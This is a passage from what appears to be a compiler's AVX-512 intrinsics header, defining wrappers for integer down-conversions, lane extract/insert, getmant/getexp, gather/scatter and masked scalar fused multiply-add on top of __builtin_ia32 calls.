  __builtin_ia32_pmovusdb512mem_mask ((__v16qi *) __P, (__v16si) __A, __M);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_cvtusepi32_epi16 (__m512i __A)
{
  return (__m256i) __builtin_ia32_pmovusdw512_mask ((__v16si) __A,
                (__v16hi) _mm256_undefined_si256 (),
                (__mmask16) -1);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtusepi32_epi16 (__m256i __O, __mmask16 __M, __m512i __A)
{
  return (__m256i) __builtin_ia32_pmovusdw512_mask ((__v16si) __A,
                (__v16hi) __O,
                __M);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtusepi32_epi16 (__mmask16 __M, __m512i __A)
{
  return (__m256i) __builtin_ia32_pmovusdw512_mask ((__v16si) __A,
                (__v16hi) _mm256_setzero_si256 (),
                __M);
}

static __inline__ void __DEFAULT_FN_ATTRS512
_mm512_mask_cvtusepi32_storeu_epi16 (void *__P, __mmask16 __M, __m512i __A)
{
  __builtin_ia32_pmovusdw512mem_mask ((__v16hi*) __P, (__v16si) __A, __M);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_cvtusepi64_epi8 (__m512i __A)
{
  return (__m128i) __builtin_ia32_pmovusqb512_mask ((__v8di) __A,
                (__v16qi) _mm_undefined_si128 (),
                (__mmask8) -1);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtusepi64_epi8 (__m128i __O, __mmask8 __M, __m512i __A)
{
  return (__m128i) __builtin_ia32_pmovusqb512_mask ((__v8di) __A,
                (__v16qi) __O,
                __M);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtusepi64_epi8 (__mmask8 __M, __m512i __A)
{
  return (__m128i) __builtin_ia32_pmovusqb512_mask ((__v8di) __A,
                (__v16qi) _mm_setzero_si128 (),
                __M);
}

static __inline__ void __DEFAULT_FN_ATTRS512
_mm512_mask_cvtusepi64_storeu_epi8 (void * __P, __mmask8 __M, __m512i __A)
{
  __builtin_ia32_pmovusqb512mem_mask ((__v16qi *) __P, (__v8di) __A, __M);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_cvtusepi64_epi32 (__m512i __A)
{
  return (__m256i) __builtin_ia32_pmovusqd512_mask ((__v8di) __A,
                (__v8si) _mm256_undefined_si256 (),
                (__mmask8) -1);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtusepi64_epi32 (__m256i __O, __mmask8 __M, __m512i __A)
{
  return (__m256i) __builtin_ia32_pmovusqd512_mask ((__v8di) __A,
                (__v8si) __O, __M);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtusepi64_epi32 (__mmask8 __M, __m512i __A)
{
  return (__m256i) __builtin_ia32_pmovusqd512_mask ((__v8di) __A,
                (__v8si) _mm256_setzero_si256 (),
                __M);
}

static __inline__ void __DEFAULT_FN_ATTRS512
_mm512_mask_cvtusepi64_storeu_epi32 (void* __P, __mmask8 __M, __m512i __A)
{
  __builtin_ia32_pmovusqd512mem_mask ((__v8si*) __P, (__v8di) __A, __M);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_cvtusepi64_epi16 (__m512i __A)
{
  return (__m128i) __builtin_ia32_pmovusqw512_mask ((__v8di) __A,
                (__v8hi) _mm_undefined_si128 (),
                (__mmask8) -1);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtusepi64_epi16 (__m128i __O, __mmask8 __M, __m512i __A)
{
  return (__m128i) __builtin_ia32_pmovusqw512_mask ((__v8di) __A,
                (__v8hi) __O, __M);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtusepi64_epi16 (__mmask8 __M, __m512i __A)
{
  return (__m128i) __builtin_ia32_pmovusqw512_mask ((__v8di) __A,
                (__v8hi) _mm_setzero_si128 (),
                __M);
}

static __inline__ void __DEFAULT_FN_ATTRS512
_mm512_mask_cvtusepi64_storeu_epi16 (void *__P, __mmask8 __M, __m512i __A)
{
  __builtin_ia32_pmovusqw512mem_mask ((__v8hi*) __P, (__v8di) __A, __M);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_cvtepi32_epi8 (__m512i __A)
{
  return (__m128i) __builtin_ia32_pmovdb512_mask ((__v16si) __A,
              (__v16qi) _mm_undefined_si128 (),
              (__mmask16) -1);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepi32_epi8 (__m128i __O, __mmask16 __M, __m512i __A)
{
  return (__m128i) __builtin_ia32_pmovdb512_mask ((__v16si) __A,
              (__v16qi) __O, __M);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtepi32_epi8 (__mmask16 __M, __m512i __A)
{
  return (__m128i) __builtin_ia32_pmovdb512_mask ((__v16si) __A,
              (__v16qi) _mm_setzero_si128 (),
              __M);
}

static __inline__ void __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepi32_storeu_epi8 (void * __P, __mmask16 __M, __m512i __A)
{
  __builtin_ia32_pmovdb512mem_mask ((__v16qi *) __P, (__v16si) __A, __M);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_cvtepi32_epi16 (__m512i __A)
{
  return (__m256i) __builtin_ia32_pmovdw512_mask ((__v16si) __A,
              (__v16hi) _mm256_undefined_si256 (),
              (__mmask16) -1);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepi32_epi16 (__m256i __O, __mmask16 __M, __m512i __A)
{
  return (__m256i) __builtin_ia32_pmovdw512_mask ((__v16si) __A,
              (__v16hi) __O, __M);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtepi32_epi16 (__mmask16 __M, __m512i __A)
{
  return (__m256i) __builtin_ia32_pmovdw512_mask ((__v16si) __A,
              (__v16hi) _mm256_setzero_si256 (),
              __M);
}

static __inline__ void __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepi32_storeu_epi16 (void * __P, __mmask16 __M, __m512i __A)
{
  __builtin_ia32_pmovdw512mem_mask ((__v16hi *) __P, (__v16si) __A, __M);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_cvtepi64_epi8 (__m512i __A)
{
  return (__m128i) __builtin_ia32_pmovqb512_mask ((__v8di) __A,
              (__v16qi) _mm_undefined_si128 (),
              (__mmask8) -1);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepi64_epi8 (__m128i __O, __mmask8 __M, __m512i __A)
{
  return (__m128i) __builtin_ia32_pmovqb512_mask ((__v8di) __A,
              (__v16qi) __O, __M);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtepi64_epi8 (__mmask8 __M, __m512i __A)
{
  return (__m128i) __builtin_ia32_pmovqb512_mask ((__v8di) __A,
              (__v16qi) _mm_setzero_si128 (),
              __M);
}

static __inline__ void __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepi64_storeu_epi8 (void * __P, __mmask8 __M, __m512i __A)
{
  __builtin_ia32_pmovqb512mem_mask ((__v16qi *) __P, (__v8di) __A, __M);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_cvtepi64_epi32 (__m512i __A)
{
  return (__m256i) __builtin_ia32_pmovqd512_mask ((__v8di) __A,
              (__v8si) _mm256_undefined_si256 (),
              (__mmask8) -1);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepi64_epi32 (__m256i __O, __mmask8 __M, __m512i __A)
{
  return (__m256i) __builtin_ia32_pmovqd512_mask ((__v8di) __A,
              (__v8si) __O, __M);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtepi64_epi32 (__mmask8 __M, __m512i __A)
{
  return (__m256i) __builtin_ia32_pmovqd512_mask ((__v8di) __A,
              (__v8si) _mm256_setzero_si256 (),
              __M);
}

static __inline__ void __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepi64_storeu_epi32 (void* __P, __mmask8 __M, __m512i __A)
{
  __builtin_ia32_pmovqd512mem_mask ((__v8si *) __P, (__v8di) __A, __M);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_cvtepi64_epi16 (__m512i __A)
{
  return (__m128i) __builtin_ia32_pmovqw512_mask ((__v8di) __A,
              (__v8hi) _mm_undefined_si128 (),
              (__mmask8) -1);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepi64_epi16 (__m128i __O, __mmask8 __M, __m512i __A)
{
  return (__m128i) __builtin_ia32_pmovqw512_mask ((__v8di) __A,
              (__v8hi) __O, __M);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtepi64_epi16 (__mmask8 __M, __m512i __A)
{
  return (__m128i) __builtin_ia32_pmovqw512_mask ((__v8di) __A,
              (__v8hi) _mm_setzero_si128 (),
              __M);
}

static __inline__ void __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepi64_storeu_epi16 (void *__P, __mmask8 __M, __m512i __A)
{
  __builtin_ia32_pmovqw512mem_mask ((__v8hi *) __P, (__v8di) __A, __M);
}

#define _mm512_extracti32x4_epi32(A, imm) \
  ((__m128i)__builtin_ia32_extracti32x4_mask((__v16si)(__m512i)(A), (int)(imm), \
                                             (__v4si)_mm_undefined_si128(), \
                                             (__mmask8)-1))

#define _mm512_mask_extracti32x4_epi32(W, U, A, imm) \
  ((__m128i)__builtin_ia32_extracti32x4_mask((__v16si)(__m512i)(A), (int)(imm), \
                                             (__v4si)(__m128i)(W), \
                                             (__mmask8)(U)))

#define _mm512_maskz_extracti32x4_epi32(U, A, imm) \
  ((__m128i)__builtin_ia32_extracti32x4_mask((__v16si)(__m512i)(A), (int)(imm), \
                                             (__v4si)_mm_setzero_si128(), \
                                             (__mmask8)(U)))

#define _mm512_extracti64x4_epi64(A, imm) \
  ((__m256i)__builtin_ia32_extracti64x4_mask((__v8di)(__m512i)(A), (int)(imm), \
                                             (__v4di)_mm256_undefined_si256(), \
                                             (__mmask8)-1))

#define _mm512_mask_extracti64x4_epi64(W, U, A, imm) \
  ((__m256i)__builtin_ia32_extracti64x4_mask((__v8di)(__m512i)(A), (int)(imm), \
                                             (__v4di)(__m256i)(W), \
                                             (__mmask8)(U)))

#define _mm512_maskz_extracti64x4_epi64(U, A, imm) \
  ((__m256i)__builtin_ia32_extracti64x4_mask((__v8di)(__m512i)(A), (int)(imm), \
                                             (__v4di)_mm256_setzero_si256(), \
                                             (__mmask8)(U)))

#define _mm512_insertf64x4(A, B, imm) \
  ((__m512d)__builtin_ia32_insertf64x4((__v8df)(__m512d)(A), \
                                       (__v4df)(__m256d)(B), (int)(imm)))

#define _mm512_mask_insertf64x4(W, U, A, B, imm) \
  ((__m512d)__builtin_ia32_selectpd_512((__mmask8)(U), \
                                   (__v8df)_mm512_insertf64x4((A), (B), (imm)), \
                                   (__v8df)(__m512d)(W)))

#define _mm512_maskz_insertf64x4(U, A, B, imm) \
  ((__m512d)__builtin_ia32_selectpd_512((__mmask8)(U), \
                                   (__v8df)_mm512_insertf64x4((A), (B), (imm)), \
                                   (__v8df)_mm512_setzero_pd()))

#define _mm512_inserti64x4(A, B, imm) \
  ((__m512i)__builtin_ia32_inserti64x4((__v8di)(__m512i)(A), \
                                       (__v4di)(__m256i)(B), (int)(imm)))

#define _mm512_mask_inserti64x4(W, U, A, B, imm) \
  ((__m512i)__builtin_ia32_selectq_512((__mmask8)(U), \
                                   (__v8di)_mm512_inserti64x4((A), (B), (imm)), \
                                   (__v8di)(__m512i)(W)))

#define _mm512_maskz_inserti64x4(U, A, B, imm) \
  ((__m512i)__builtin_ia32_selectq_512((__mmask8)(U), \
                                   (__v8di)_mm512_inserti64x4((A), (B), (imm)), \
                                   (__v8di)_mm512_setzero_si512()))

#define _mm512_insertf32x4(A, B, imm) \
  ((__m512)__builtin_ia32_insertf32x4((__v16sf)(__m512)(A), \
                                      (__v4sf)(__m128)(B), (int)(imm)))

#define _mm512_mask_insertf32x4(W, U, A, B, imm) \
  ((__m512)__builtin_ia32_selectps_512((__mmask16)(U), \
                                  (__v16sf)_mm512_insertf32x4((A), (B), (imm)), \
                                  (__v16sf)(__m512)(W)))

#define _mm512_maskz_insertf32x4(U, A, B, imm) \
  ((__m512)__builtin_ia32_selectps_512((__mmask16)(U), \
                                  (__v16sf)_mm512_insertf32x4((A), (B), (imm)), \
                                  (__v16sf)_mm512_setzero_ps()))

#define _mm512_inserti32x4(A, B, imm) \
  ((__m512i)__builtin_ia32_inserti32x4((__v16si)(__m512i)(A), \
                                       (__v4si)(__m128i)(B), (int)(imm)))

#define _mm512_mask_inserti32x4(W, U, A, B, imm) \
  ((__m512i)__builtin_ia32_selectd_512((__mmask16)(U), \
                                  (__v16si)_mm512_inserti32x4((A), (B), (imm)), \
                                  (__v16si)(__m512i)(W)))

#define _mm512_maskz_inserti32x4(U, A, B, imm) \
  ((__m512i)__builtin_ia32_selectd_512((__mmask16)(U), \
                                  (__v16si)_mm512_inserti32x4((A), (B), (imm)), \
                                  (__v16si)_mm512_setzero_si512()))

#define _mm512_getmant_round_pd(A, B, C, R) \
  ((__m512d)__builtin_ia32_getmantpd512_mask((__v8df)(__m512d)(A), \
                                             (int)(((C)&lt;&lt;2) | (B)), \
                                             (__v8df)_mm512_undefined_pd(), \
                                             (__mmask8)-1, (int)(R)))

#define _mm512_mask_getmant_round_pd(W, U, A, B, C, R) \
  ((__m512d)__builtin_ia32_getmantpd512_mask((__v8df)(__m512d)(A), \
                                             (int)(((C)&lt;&lt;2) | (B)), \
                                             (__v8df)(__m512d)(W), \
                                             (__mmask8)(U), (int)(R)))

#define _mm512_maskz_getmant_round_pd(U, A, B, C, R) \
  ((__m512d)__builtin_ia32_getmantpd512_mask((__v8df)(__m512d)(A), \
                                             (int)(((C)&lt;&lt;2) | (B)), \
                                             (__v8df)_mm512_setzero_pd(), \
                                             (__mmask8)(U), (int)(R)))

#define _mm512_getmant_pd(A, B, C) \
  ((__m512d)__builtin_ia32_getmantpd512_mask((__v8df)(__m512d)(A), \
                                             (int)(((C)&lt;&lt;2) | (B)), \
                                             (__v8df)_mm512_setzero_pd(), \
                                             (__mmask8)-1, \
                                             _MM_FROUND_CUR_DIRECTION))

#define _mm512_mask_getmant_pd(W, U, A, B, C) \
  ((__m512d)__builtin_ia32_getmantpd512_mask((__v8df)(__m512d)(A), \
                                             (int)(((C)&lt;&lt;2) | (B)), \
                                             (__v8df)(__m512d)(W), \
                                             (__mmask8)(U), \
                                             _MM_FROUND_CUR_DIRECTION))

#define _mm512_maskz_getmant_pd(U, A, B, C) \
  ((__m512d)__builtin_ia32_getmantpd512_mask((__v8df)(__m512d)(A), \
                                             (int)(((C)&lt;&lt;2) | (B)), \
                                             (__v8df)_mm512_setzero_pd(), \
                                             (__mmask8)(U), \
                                             _MM_FROUND_CUR_DIRECTION))

#define _mm512_getmant_round_ps(A, B, C, R) \
  ((__m512)__builtin_ia32_getmantps512_mask((__v16sf)(__m512)(A), \
                                            (int)(((C)&lt;&lt;2) | (B)), \
                                            (__v16sf)_mm512_undefined_ps(), \
                                            (__mmask16)-1, (int)(R)))

#define _mm512_mask_getmant_round_ps(W, U, A, B, C, R) \
  ((__m512)__builtin_ia32_getmantps512_mask((__v16sf)(__m512)(A), \
                                            (int)(((C)&lt;&lt;2) | (B)), \
                                            (__v16sf)(__m512)(W), \
                                            (__mmask16)(U), (int)(R)))

#define _mm512_maskz_getmant_round_ps(U, A, B, C, R) \
  ((__m512)__builtin_ia32_getmantps512_mask((__v16sf)(__m512)(A), \
                                            (int)(((C)&lt;&lt;2) | (B)), \
                                            (__v16sf)_mm512_setzero_ps(), \
                                            (__mmask16)(U), (int)(R)))

#define _mm512_getmant_ps(A, B, C) \
  ((__m512)__builtin_ia32_getmantps512_mask((__v16sf)(__m512)(A), \
                                            (int)(((C)&lt;&lt;2)|(B)), \
                                            (__v16sf)_mm512_undefined_ps(), \
                                            (__mmask16)-1, \
                                            _MM_FROUND_CUR_DIRECTION))

#define _mm512_mask_getmant_ps(W, U, A, B, C) \
  ((__m512)__builtin_ia32_getmantps512_mask((__v16sf)(__m512)(A), \
                                            (int)(((C)&lt;&lt;2)|(B)), \
                                            (__v16sf)(__m512)(W), \
                                            (__mmask16)(U), \
                                            _MM_FROUND_CUR_DIRECTION))

#define _mm512_maskz_getmant_ps(U, A, B, C) \
  ((__m512)__builtin_ia32_getmantps512_mask((__v16sf)(__m512)(A), \
                                            (int)(((C)&lt;&lt;2)|(B)), \
                                            (__v16sf)_mm512_setzero_ps(), \
                                            (__mmask16)(U), \
                                            _MM_FROUND_CUR_DIRECTION))

#define _mm512_getexp_round_pd(A, R) \
  ((__m512d)__builtin_ia32_getexppd512_mask((__v8df)(__m512d)(A), \
                                            (__v8df)_mm512_undefined_pd(), \
                                            (__mmask8)-1, (int)(R)))

#define _mm512_mask_getexp_round_pd(W, U, A, R) \
  ((__m512d)__builtin_ia32_getexppd512_mask((__v8df)(__m512d)(A), \
                                            (__v8df)(__m512d)(W), \
                                            (__mmask8)(U), (int)(R)))

#define _mm512_maskz_getexp_round_pd(U, A, R) \
  ((__m512d)__builtin_ia32_getexppd512_mask((__v8df)(__m512d)(A), \
                                            (__v8df)_mm512_setzero_pd(), \
                                            (__mmask8)(U), (int)(R)))

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_getexp_pd (__m512d __A)
{
  return (__m512d) __builtin_ia32_getexppd512_mask ((__v8df) __A,
                (__v8df) _mm512_undefined_pd (),
                (__mmask8) -1,
                _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_getexp_pd (__m512d __W, __mmask8 __U, __m512d __A)
{
  return (__m512d) __builtin_ia32_getexppd512_mask ((__v8df) __A,
                (__v8df) __W,
                (__mmask8) __U,
                _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_getexp_pd (__mmask8 __U, __m512d __A)
{
  return (__m512d) __builtin_ia32_getexppd512_mask ((__v8df) __A,
                (__v8df) _mm512_setzero_pd (),
                (__mmask8) __U,
                _MM_FROUND_CUR_DIRECTION);
}

#define _mm512_getexp_round_ps(A, R) \
  ((__m512)__builtin_ia32_getexpps512_mask((__v16sf)(__m512)(A), \
                                           (__v16sf)_mm512_undefined_ps(), \
                                           (__mmask16)-1, (int)(R)))

#define _mm512_mask_getexp_round_ps(W, U, A, R) \
  ((__m512)__builtin_ia32_getexpps512_mask((__v16sf)(__m512)(A), \
                                           (__v16sf)(__m512)(W), \
                                           (__mmask16)(U), (int)(R)))

#define _mm512_maskz_getexp_round_ps(U, A, R) \
  ((__m512)__builtin_ia32_getexpps512_mask((__v16sf)(__m512)(A), \
                                           (__v16sf)_mm512_setzero_ps(), \
                                           (__mmask16)(U), (int)(R)))

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_getexp_ps (__m512 __A)
{
  return (__m512) __builtin_ia32_getexpps512_mask ((__v16sf) __A,
               (__v16sf) _mm512_undefined_ps (),
               (__mmask16) -1,
               _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_getexp_ps (__m512 __W, __mmask16 __U, __m512 __A)
{
  return (__m512) __builtin_ia32_getexpps512_mask ((__v16sf) __A,
               (__v16sf) __W,
               (__mmask16) __U,
               _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_getexp_ps (__mmask16 __U, __m512 __A)
{
  return (__m512) __builtin_ia32_getexpps512_mask ((__v16sf) __A,
               (__v16sf) _mm512_setzero_ps (),
               (__mmask16) __U,
               _MM_FROUND_CUR_DIRECTION);
}

#define _mm512_i64gather_ps(index, addr, scale) \
  ((__m256)__builtin_ia32_gatherdiv16sf((__v8sf)_mm256_undefined_ps(), \
                                        (void const *)(addr), \
                                        (__v8di)(__m512i)(index), (__mmask8)-1, \
                                        (int)(scale)))

#define _mm512_mask_i64gather_ps(v1_old, mask, index, addr, scale) \
  ((__m256)__builtin_ia32_gatherdiv16sf((__v8sf)(__m256)(v1_old),\
                                        (void const *)(addr), \
                                        (__v8di)(__m512i)(index), \
                                        (__mmask8)(mask), (int)(scale)))

#define _mm512_i64gather_epi32(index, addr, scale) \
  ((__m256i)__builtin_ia32_gatherdiv16si((__v8si)_mm256_undefined_si256(), \
                                         (void const *)(addr), \
                                         (__v8di)(__m512i)(index), \
                                         (__mmask8)-1, (int)(scale)))

#define _mm512_mask_i64gather_epi32(v1_old, mask, index, addr, scale) \
  ((__m256i)__builtin_ia32_gatherdiv16si((__v8si)(__m256i)(v1_old), \
                                         (void const *)(addr), \
                                         (__v8di)(__m512i)(index), \
                                         (__mmask8)(mask), (int)(scale)))

#define _mm512_i64gather_pd(index, addr, scale) \
  ((__m512d)__builtin_ia32_gatherdiv8df((__v8df)_mm512_undefined_pd(), \
                                        (void const *)(addr), \
                                        (__v8di)(__m512i)(index), (__mmask8)-1, \
                                        (int)(scale)))

#define _mm512_mask_i64gather_pd(v1_old, mask, index, addr, scale) \
  ((__m512d)__builtin_ia32_gatherdiv8df((__v8df)(__m512d)(v1_old), \
                                        (void const *)(addr), \
                                        (__v8di)(__m512i)(index), \
                                        (__mmask8)(mask), (int)(scale)))

#define _mm512_i64gather_epi64(index, addr, scale) \
  ((__m512i)__builtin_ia32_gatherdiv8di((__v8di)_mm512_undefined_epi32(), \
                                        (void const *)(addr), \
                                        (__v8di)(__m512i)(index), (__mmask8)-1, \
                                        (int)(scale)))

#define _mm512_mask_i64gather_epi64(v1_old, mask, index, addr, scale) \
  ((__m512i)__builtin_ia32_gatherdiv8di((__v8di)(__m512i)(v1_old), \
                                        (void const *)(addr), \
                                        (__v8di)(__m512i)(index), \
                                        (__mmask8)(mask), (int)(scale)))

#define _mm512_i32gather_ps(index, addr, scale) \
  ((__m512)__builtin_ia32_gathersiv16sf((__v16sf)_mm512_undefined_ps(), \
                                        (void const *)(addr), \
                                        (__v16si)(__m512)(index), \
                                        (__mmask16)-1, (int)(scale)))

#define _mm512_mask_i32gather_ps(v1_old, mask, index, addr, scale) \
  ((__m512)__builtin_ia32_gathersiv16sf((__v16sf)(__m512)(v1_old), \
                                        (void const *)(addr), \
                                        (__v16si)(__m512)(index), \
                                        (__mmask16)(mask), (int)(scale)))

#define _mm512_i32gather_epi32(index, addr, scale) \
  ((__m512i)__builtin_ia32_gathersiv16si((__v16si)_mm512_undefined_epi32(), \
                                         (void const *)(addr), \
                                         (__v16si)(__m512i)(index), \
                                         (__mmask16)-1, (int)(scale)))

#define _mm512_mask_i32gather_epi32(v1_old, mask, index, addr, scale) \
  ((__m512i)__builtin_ia32_gathersiv16si((__v16si)(__m512i)(v1_old), \
                                         (void const *)(addr), \
                                         (__v16si)(__m512i)(index), \
                                         (__mmask16)(mask), (int)(scale)))

#define _mm512_i32gather_pd(index, addr, scale) \
  ((__m512d)__builtin_ia32_gathersiv8df((__v8df)_mm512_undefined_pd(), \
                                        (void const *)(addr), \
                                        (__v8si)(__m256i)(index), (__mmask8)-1, \
                                        (int)(scale)))

#define _mm512_mask_i32gather_pd(v1_old, mask, index, addr, scale) \
  ((__m512d)__builtin_ia32_gathersiv8df((__v8df)(__m512d)(v1_old), \
                                        (void const *)(addr), \
                                        (__v8si)(__m256i)(index), \
                                        (__mmask8)(mask), (int)(scale)))

#define _mm512_i32gather_epi64(index, addr, scale) \
  ((__m512i)__builtin_ia32_gathersiv8di((__v8di)_mm512_undefined_epi32(), \
                                        (void const *)(addr), \
                                        (__v8si)(__m256i)(index), (__mmask8)-1, \
                                        (int)(scale)))

#define _mm512_mask_i32gather_epi64(v1_old, mask, index, addr, scale) \
  ((__m512i)__builtin_ia32_gathersiv8di((__v8di)(__m512i)(v1_old), \
                                        (void const *)(addr), \
                                        (__v8si)(__m256i)(index), \
                                        (__mmask8)(mask), (int)(scale)))

#define _mm512_i64scatter_ps(addr, index, v1, scale) \
  __builtin_ia32_scatterdiv16sf((void *)(addr), (__mmask8)-1, \
                                (__v8di)(__m512i)(index), \
                                (__v8sf)(__m256)(v1), (int)(scale))

#define _mm512_mask_i64scatter_ps(addr, mask, index, v1, scale) \
  __builtin_ia32_scatterdiv16sf((void *)(addr), (__mmask8)(mask), \
                                (__v8di)(__m512i)(index), \
                                (__v8sf)(__m256)(v1), (int)(scale))

#define _mm512_i64scatter_epi32(addr, index, v1, scale) \
  __builtin_ia32_scatterdiv16si((void *)(addr), (__mmask8)-1, \
                                (__v8di)(__m512i)(index), \
                                (__v8si)(__m256i)(v1), (int)(scale))

#define _mm512_mask_i64scatter_epi32(addr, mask, index, v1, scale) \
  __builtin_ia32_scatterdiv16si((void *)(addr), (__mmask8)(mask), \
                                (__v8di)(__m512i)(index), \
                                (__v8si)(__m256i)(v1), (int)(scale))

#define _mm512_i64scatter_pd(addr, index, v1, scale) \
  __builtin_ia32_scatterdiv8df((void *)(addr), (__mmask8)-1, \
                               (__v8di)(__m512i)(index), \
                               (__v8df)(__m512d)(v1), (int)(scale))

#define _mm512_mask_i64scatter_pd(addr, mask, index, v1, scale) \
  __builtin_ia32_scatterdiv8df((void *)(addr), (__mmask8)(mask), \
                               (__v8di)(__m512i)(index), \
                               (__v8df)(__m512d)(v1), (int)(scale))

#define _mm512_i64scatter_epi64(addr, index, v1, scale) \
  __builtin_ia32_scatterdiv8di((void *)(addr), (__mmask8)-1, \
                               (__v8di)(__m512i)(index), \
                               (__v8di)(__m512i)(v1), (int)(scale))

#define _mm512_mask_i64scatter_epi64(addr, mask, index, v1, scale) \
  __builtin_ia32_scatterdiv8di((void *)(addr), (__mmask8)(mask), \
                               (__v8di)(__m512i)(index), \
                               (__v8di)(__m512i)(v1), (int)(scale))

#define _mm512_i32scatter_ps(addr, index, v1, scale) \
  __builtin_ia32_scattersiv16sf((void *)(addr), (__mmask16)-1, \
                                (__v16si)(__m512i)(index), \
                                (__v16sf)(__m512)(v1), (int)(scale))

#define _mm512_mask_i32scatter_ps(addr, mask, index, v1, scale) \
  __builtin_ia32_scattersiv16sf((void *)(addr), (__mmask16)(mask), \
                                (__v16si)(__m512i)(index), \
                                (__v16sf)(__m512)(v1), (int)(scale))

#define _mm512_i32scatter_epi32(addr, index, v1, scale) \
  __builtin_ia32_scattersiv16si((void *)(addr), (__mmask16)-1, \
                                (__v16si)(__m512i)(index), \
                                (__v16si)(__m512i)(v1), (int)(scale))

#define _mm512_mask_i32scatter_epi32(addr, mask, index, v1, scale) \
  __builtin_ia32_scattersiv16si((void *)(addr), (__mmask16)(mask), \
                                (__v16si)(__m512i)(index), \
                                (__v16si)(__m512i)(v1), (int)(scale))

#define _mm512_i32scatter_pd(addr, index, v1, scale) \
  __builtin_ia32_scattersiv8df((void *)(addr), (__mmask8)-1, \
                               (__v8si)(__m256i)(index), \
                               (__v8df)(__m512d)(v1), (int)(scale))

#define _mm512_mask_i32scatter_pd(addr, mask, index, v1, scale) \
  __builtin_ia32_scattersiv8df((void *)(addr), (__mmask8)(mask), \
                               (__v8si)(__m256i)(index), \
                               (__v8df)(__m512d)(v1), (int)(scale))

#define _mm512_i32scatter_epi64(addr, index, v1, scale) \
  __builtin_ia32_scattersiv8di((void *)(addr), (__mmask8)-1, \
                               (__v8si)(__m256i)(index), \
                               (__v8di)(__m512i)(v1), (int)(scale))

#define _mm512_mask_i32scatter_epi64(addr, mask, index, v1, scale) \
  __builtin_ia32_scattersiv8di((void *)(addr), (__mmask8)(mask), \
                               (__v8si)(__m256i)(index), \
                               (__v8di)(__m512i)(v1), (int)(scale))

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_mask_fmadd_ss (__m128 __W, __mmask8 __U, __m128 __A, __m128 __B)
{
  return __builtin_ia32_vfmaddss3_mask((__v4sf)__W,
                                       (__v4sf)__A,
                                       (__v4sf)__B,
                                       (__mmask8)__U,
                                       _MM_FROUND_CUR_DIRECTION);
}

#define _mm_fmadd_round_ss(A, B, C, R) \
  ((__m128)__builtin_ia32_vfmaddss3_mask((__v4sf)(__m128)(A), \
                                         (__v4sf)(__m128)(B), \
                                         (__v4sf)(__m128)(C), (__mmask8)-1, \
                                         (int)(R)))

#define _mm_mask_fmadd_round_ss(W, U, A, B, R) \
  ((__m128)__builtin_ia32_vfmaddss3_mask((__v4sf)(__m128)(W), \
                                         (__v4sf)(__m128)(A), \
                                         (__v4sf)(__m128)(B), (__mmask8)(U), \
                                         (int)(R)))

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_maskz_fmadd_ss (__mmask8 __U, __m128 __A, __m128 __B, __m128 __C)
{
  return __builtin_ia32_vfmaddss3_maskz((__v4sf)__A,
                                        (__v4sf)__B,
                                        (__v4sf)__C,
                                        (__mmask8)__U,
                                        _MM_FROUND_CUR_DIRECTION);
}

#define _mm_maskz_fmadd_round_ss(U, A, B, C, R) \
  ((__m128)__builtin_ia32_vfmaddss3_maskz((__v4sf)(__m128)(A), \
                                          (__v4sf)(__m128)(B), \
                                          (__v4sf)(__m128)(C), (__mmask8)(U), \
                                          (int)(R)))

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_mask3_fmadd_ss (__m128 __W, __m128 __X, __m128 __Y, __mmask8 __U)
{
  return __builtin_ia32_vfmaddss3_mask3((__v4sf)__W,
                                        (__v4sf)__X,
                                        (__v4sf)__Y,
                                        (__mmask8)__U,
                                        _MM_FROUND_CUR_DIRECTION);
}

